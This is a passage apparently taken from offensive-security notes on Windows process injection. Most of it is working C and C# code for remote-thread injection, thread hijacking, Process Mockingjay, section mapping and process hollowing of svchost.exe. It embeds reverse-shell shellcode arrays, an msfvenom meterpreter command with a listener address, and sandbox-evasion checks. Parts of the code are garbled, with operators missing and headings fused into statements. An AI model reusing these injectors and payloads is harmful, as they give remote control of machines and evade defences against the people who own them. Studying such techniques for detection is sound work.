\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
    	Process32First(snapshot, &processEntry);
    	while (Process32Next(snapshot, &processEntry))
    	{
    		process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
    		if (process)
    		{
    			std::wcout << processEntry.szExeFile << "\n";
    			while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
    			{
    				offset = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
    				if (mbi.AllocationProtect  PAGE_EXECUTE_READWRITE && mbi.State  MEM_COMMIT && mbi.Type  MEM_PRIVATE)
    				{
    					std::cout << "\tRWX: 0x" << std::hex << mbi.BaseAddress << "\n";
    					WriteProcessMemory(process, mbi.BaseAddress, shellcode, sizeof(shellcode), NULL);
    					CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE) mbi.BaseAddress, NULL, NULL, NULL);
    				}
    			}
    
    			offset = 0;
    		}
    
    		CloseHandle(process);
    	}
    
    	return 0;
    }
    
  • NT-APIs Instead of Windowns APIs

    • WriteShellCode : NtCreateSection , NtAllocateVirtualMemory ,

    • Moving : NtWriteVirtualMemory , NtMapViewOfSection , memcpy

    • Execution NtOpenProcess , RtlCreateUserThread , NtCreateThreadEX , NtQueueUserAPC , NtQueueUserAPC

#include <stdio.h>
#include <windows.h>
#include <winternl.h>

// Define the NtAllocateVirtualMemory function pointer
typedef NTSTATUS(WINAPI* PNTALLOCATEVIRTUALMEMORY)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
    );

// Define the NtFreeVirtualMemory function pointer
typedef NTSTATUS(WINAPI* PNTFREEVIRTUALMEMORY)(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    PSIZE_T RegionSize,
    ULONG FreeType
    );

int main() {

    // Insert Meterpreter shellcode 
    unsigned char code[] = "\xa6\x12\xd9...";


    // Load the NtAllocateVirtualMemory function from ntdll.dll
    PNTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory =
        (PNTALLOCATEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");


    // Allocate Virtual Memory  
    void* exec = NULL;
    SIZE_T size = sizeof(code);
    NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &exec, 0, &size, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);


    // Copy shellcode into allocated memory 
    RtlCopyMemory(exec, code, sizeof code);


    // Execute shellcode in memory  
    ((void(*)())exec)();


    // Free the allocated memory using NtFreeVirtualMemory
    PNTFREEVIRTUALMEMORY NtFreeVirtualMemory =
        (PNTFREEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtFreeVirtualMemory");
    SIZE_T regionSize = 0;
    status = NtFreeVirtualMemory(GetCurrentProcess(), &exec, &regionSize, MEM_RELEASE);

    return 0;
}

Process Techniques

  • Managd Dll (.net) Classic Injection

  • PE Mandeas

  • API hooking

  • Process Hollowing C/C#

  • Thread Hijacking C/[C#]

  • Section Mapping

  • D/Invoke

  • Create Thread

  • Section Mapping

  • Helpful Projects

  • https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution

  • https://www.youtube.com/watch?v=Jr9gQKASNOI

  • Process Hollowing

  • DLL Injection

  • Thread Hijacking

    #include <iostream>
    #include <Windows.h>
    #include <TlHelp32.h>
    
    int main()
    {
    	unsigned char shellcode[] =
    		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
    		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
    		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
    		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
    		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
    		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
    		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
    		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
    		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
    		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
    		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
    		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
    		"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
    		"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
    		"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
    		"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
    		"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
    		"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
    		"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
    		"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
    		"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
    		"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
    		"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
    		"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
    		"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
    		"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
    		"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
    		"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
    		"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
    
    	HANDLE targetProcessHandle;
    	PVOID remoteBuffer;
    	HANDLE threadHijacked = NULL;
    	HANDLE snapshot;
    	THREADENTRY32 threadEntry;
    	CONTEXT context;
    	
    	DWORD targetPID = 15048;
    	context.ContextFlags = CONTEXT_FULL;
    	threadEntry.dwSize = sizeof(THREADENTRY32);
    	
    	targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
    	remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    	WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
    	
    	snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    	Thread32First(snapshot, &threadEntry);
    
    	while (Thread32Next(snapshot, &threadEntry))
    	{
    		if (threadEntry.th32OwnerProcessID  targetPID)
    		{
    			threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
    			break;
    		}
    	}
    	
    	SuspendThread(threadHijacked);
    	
    	GetThreadContext(threadHijacked, &context);
    	context.Rip = (DWORD_PTR)remoteBuffer;
    	SetThreadContext(threadHijacked, &context);
    	
    	ResumeThread(threadHijacked);
    }
    
  • Process Mockingjay

    #include "pch.h"#include <iostream>
    #include <Windows.h>
    #include <TlHelp32.h>
    //Enumerating MemRegions//https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions
    
    
    int main()
    {
    	MEMORY_BASIC_INFORMATION mbi = {};
    
    	LPVOID offset = 0;
    	HANDLE process = NULL;
    	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	PROCESSENTRY32 processEntry = {};
    
    	processEntry.dwSize = sizeof(PROCESSENTRY32);
    	DWORD bytesWritten = 0;
    	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
    	Process32First(snapshot, &processEntry);
    	while (Process32Next(snapshot, &processEntry))
    	{
    		process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
    		if (process)
    		{
    			std::wcout << processEntry.szExeFile << "\n";
    			while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
    			{
    				offset = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);
    				if (mbi.AllocationProtect  PAGE_EXECUTE_READWRITE && mbi.State  MEM_COMMIT && mbi.Type  MEM_PRIVATE)
    				{
    					std::cout << "\tRWX: 0x" << std::hex << mbi.BaseAddress << "\n";
    					WriteProcessMemory(process, mbi.BaseAddress, shellcode, sizeof(shellcode), NULL);
    					CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE) mbi.BaseAddress, NULL, NULL, NULL);
    				}
    			}
    
    			offset = 0;
    		}
    
    		CloseHandle(process);
    	}
    
    	return 0;
    }
    
  • Process Goasting

  • Transact Hollowing

  • Process Herpaderping

  • APC Injection

  • Process doppelganging

  • Module Stomping

  • PE Injection

  • PPID_Spoofing

  • Section Mapping

    using System;
    using System.Linq;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    
    namespace NtProcessInjector {
     public class Program {
       public
       const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
       public
       const uint SECTION_MAP_READ = 0x0004;
       public
       const uint SECTION_MAP_WRITE = 0x0002;
       public
       const uint SECTION_MAP_EXECUTE = 0x0008;
       public
       const uint PAGE_READ_WRITE = 0x04;
       public
       const uint PAGE_READ_EXECUTE = 0x20;
       public
       const uint PAGE_EXECUTE_READWRITE = 0x40;
       public
       const uint SEC_COMMIT = 0x8000000;
    
       [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
       static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
    
       [DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]
       static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, ref UInt32 MaximumSize, UInt32 SectionPageProtection, UInt32 AllocationAttributes, IntPtr FileHandle);
    
       [DllImport("ntdll.dll", SetLastError = true)]
       static extern uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, UIntPtr ZeroBits, UIntPtr CommitSize, out ulong SectionOffset, out uint ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect);
    
       [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
       static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
    
       [DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]
       static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, ref UInt32 MaximumSize, UInt32 SectionPageProtection, UInt32 AllocationAttributes, IntPtr FileHandle);
    
       [DllImport("ntdll.dll", SetLastError = true)]
       static extern uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, UIntPtr ZeroBits, UIntPtr CommitSize, out ulong SectionOffset, out uint ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect);
    
       [DllImport("ntdll.dll", SetLastError = true)]
       static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
    
       [DllImport("ntdll.dll", SetLastError = true)]
       static extern IntPtr RtlCreateUserThread(IntPtr processHandle, IntPtr threadSecurity, bool createSuspended, Int32 stackZeroBits, IntPtr stackReserved, IntPtr stackCommit, IntPtr startAddress, IntPtr parameter, ref IntPtr threadHandle, IntPtr clientId);
    
       [DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)]
       static extern int NtClose(IntPtr hObject);
    
       [DllImport("kernel32.dll")]
       static extern void Sleep(uint dwMilliseconds);
    
       [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
       static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
    
       [DllImport("kernel32.dll")]
       static extern IntPtr GetCurrentProcess();
    
       // BEGIN DEBUG (imports)
       [DllImport("kernel32.dll", SetLastError = true)]
       static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
    
       [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
       static extern int memcmp(byte[] b1, byte[] b2, UIntPtr count);
    
       static bool CompareByteArray(byte[] b1, byte[] b2) {
         return b1.Length  b2.Length && memcmp(b1, b2, (UIntPtr) b1.Length)  0;
       }
       // END DEBUG
    
       static void Main(string[] args) {
         // Check if we're in a sandbox by calling a rare-emulated API
         if (VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0)  IntPtr.Zero) {
           return;
         }
    
         // Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction
         var rand = new Random();
         uint dream = (uint) rand.Next(10000, 20000);
         double delta = dream / 1000 - 0.5;
         DateTime before = DateTime.Now;
         Sleep(dream);
         if (DateTime.Now.Subtract(before).TotalSeconds < delta) {
           Console.WriteLine("Charles, get the rifle out. We're being fucked.");
           return;
         }
    
         // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key a
         byte[] buf = new byte[ ?? ? ] {
           0x31,
           0x33,
           ...,
           0x33,
           0x37
         };
    
         // XOR-decrypt the shellcode
         for (int i = 0; i < buf.Length; i++) {
           buf[i] = (byte)(buf[i] ^ (byte)
             'a');
         }
    
         int bufLength = buf.Length;
         UInt32 uBufLength = (UInt32) bufLength;
    
         // Get handle on a local process
         IntPtr hLocalProcess = Process.GetCurrentProcess().Handle;
    
         // Get handle on a remote process (by name)
         string processName = args[0];
         Process[] pList = Process.GetProcessesByName(processName);
         if (pList.Length  0) {
           Console.WriteLine("[-] No such process");
           return;
         }
         int processId = pList.First().Id;
         IntPtr hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, processId);
         if (hRemoteProcess  IntPtr.Zero) {
           Console.WriteLine("[-] Failed to open remote process");
           return;
         }
    
         // Create RWX memory section for the shellcode
         IntPtr hSection = new IntPtr();
         if (NtCreateSection(ref hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, IntPtr.Zero, ref uBufLength, PAGE_EXECUTE_READWRITE, SEC_COMMIT, IntPtr.Zero) != 0) {
           Console.WriteLine("[-] Falied to create a section for the shellcode");
           return;
         }
    
         // Map the view of created section into the LOCAL process's virtual address space (as R-W)
         IntPtr baseAddressL = new IntPtr();
         ulong sectionOffsetL = new ulong();
         if (NtMapViewOfSection(hSection, hLocalProcess, ref baseAddressL, UIntPtr.Zero, UIntPtr.Zero, out sectionOffsetL, out uBufLength, 2, 0, PAGE_READ_WRITE) != 0) {
           Console.WriteLine("[-] Falied to map the view into local process's space");
           return;
         }
    
         // Map the view of (the same) created section into the REMOTE process's virtual address space (as R-E)
         IntPtr baseAddressR = new IntPtr();
         ulong sectionOffsetR = new ulong();
         if (NtMapViewOfSection(hSection, hRemoteProcess, ref baseAddressR, UIntPtr.Zero, UIntPtr.Zero, out sectionOffsetR, out uBufLength, 2, 0, PAGE_READ_EXECUTE) != 0) {
           Console.WriteLine("[-] Falied to map the view into remote process's space");
           return;
         }
    
         // Copy the shellcode into the locally mapped view which will be reflected on the remotely mapped view
         Marshal.Copy(buf, 0, baseAddressL, bufLength);
    
         // BEGIN DEBUG (check if the shellcode was copied correctly)
         byte[] remoteMemory = new byte[bufLength];
         IntPtr bytesRead = new IntPtr();
         ReadProcessMemory(hRemoteProcess, baseAddressR, remoteMemory, remoteMemory.Length, out bytesRead);
         if (!CompareByteArray(buf, remoteMemory)) {
           Console.WriteLine("[-] DEBUG: Shellcode bytes read from remotely mapped view do not match with local buf");
           return;
         }
         // END DEBUG
    
         // Execute the shellcode in a remote thread (also can be done with CreateRemoteThread)
         //CreateRemoteThread(hRemoteProcess, IntPtr.Zero, 0, baseAddressR, IntPtr.Zero, 0, IntPtr.Zero)
         IntPtr threadHandle = new IntPtr();
         if (RtlCreateUserThread(hRemoteProcess, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, baseAddressR, IntPtr.Zero, ref threadHandle, IntPtr.Zero) != IntPtr.Zero) {
           Console.WriteLine("[-] Failed to create a remote thread");
           return;
         }
    
         Console.WriteLine($"[+] Successfully injected shellcode into remote process ({processName}, {processId})");
    
         // Clean up
         NtUnmapViewOfSection(hLocalProcess, baseAddressL);
         NtClose(hSection);
       }
     }}    
       
    
  • Process Hollower In Csharp

    //Process Hollower In Csharp
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Runtime.InteropServices;
    using System.Threading;
    using System.Text;
    using System.Threading.Tasks;
    namespace hollow {
      class Program {
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] struct STARTUPINFO {
          public Int32 cb;
          public string lpReserved;
          public string lpDesktop;
          public string lpTitle;
          public Int32 dwX;
          public Int32 dwY;
          public Int32 dwXSize;
          public Int32 dwYSize;
          public Int32 dwXCountChars;
          public Int32 dwYCountChars;
          public Int32 dwFillAttribute;
          public Int32 dwFlags;
          public Int16 wShowWindow;
          public Int16 cbReserved2;
          public IntPtr lpReserved2;
          public IntPtr hStdInput;
          public IntPtr hStdOutput;
          public IntPtr hStdError;
        } 
        [StructLayout(LayoutKind.Sequential)] internal struct PROCESS_INFORMATION {
          public IntPtr hProcess;
          public IntPtr hThread;
          public int dwProcessId;
          public int dwThreadId;
        } 
    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)] 
    static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
    private struct PROCESS_BASIC_INFORMATION {
          public IntPtr ExitStatus;
          public IntPtr PebBaseAddress;
          public UIntPtr AffinityMask;
          public int BasePriority;
          public UIntPtr UniqueProcessId;
          public UIntPtr InheritedFromUniqueProcessId;
        } 
    [DllImport("ntdll.dll", SetLastError = true)] static extern UInt32 ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, UInt32 ProcInfoLen, ref UInt32 retlen);
    
    [DllImport("kernel32.dll", SetLastError = true)] public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesRead);
    
    [DllImport("kernel32.dll", SetLastError = true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
    
    [DllImport("kernel32.dll", SetLastError = true)] static extern uint ResumeThread(IntPtr hThread);
    
    
    static void Main(string[] args) {
            STARTUPINFO si = new STARTUPINFO();
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
            uint tmp = 0;
            IntPtr hProcess = pi.hProcess;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
            IntPtr ptrToImageBase = (IntPtr)((Int64) bi.PebBaseAddress + 0x10);
            byte[] addrBuf = new byte[IntPtr.Size];
            IntPtr nRead = IntPtr.Zero;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
    
    //Parse PE 
    Headerbyte[] data = new byte[0x200];
    ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3c);uint opthdr = e_lfanew_offset + 0x28;uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);
    // Overwrite Entry 
    Pointbyte[] buf = new byte[] { }; 
    // Put some shellcode here
    WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);
    ResumeThread(pi.hThread);}}}
    

AV & EDR Evasion

Next Steps